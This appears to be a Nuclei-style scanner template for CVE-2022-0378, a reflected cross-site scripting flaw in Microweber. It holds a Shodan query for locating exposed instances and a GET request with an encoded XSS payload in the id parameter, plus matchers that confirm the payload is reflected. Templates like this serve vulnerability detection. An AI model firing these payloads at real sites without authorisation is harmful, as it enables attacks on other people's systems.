id: CVE-2022-0378 info: name: Microweber Cross-Site Scripting author: pikpikcu severity: medium description: Microweber contains a reflected cross-site scripting in Packagist microweber/microweber prior to 1.2.11. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-0378 - https://github.com/microweber/microweber/commit/fc7e1a026735b93f0e0047700d08c44954fce9ce - https://huntr.dev/bounties/529b65c0-5be7-49d4-9419-f905b8153d31 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-0378 cwe-id: CWE-79 metadata: shodan-query: http.favicon.hash:780351152 tags: cve,cve2022,microweber,xss,huntr requests: - method: GET path: - '{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x' matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - 'mwui_init' - 'onmousemove="alert(document.domain)' condition: and # Enhanced by mp on 2022/02/28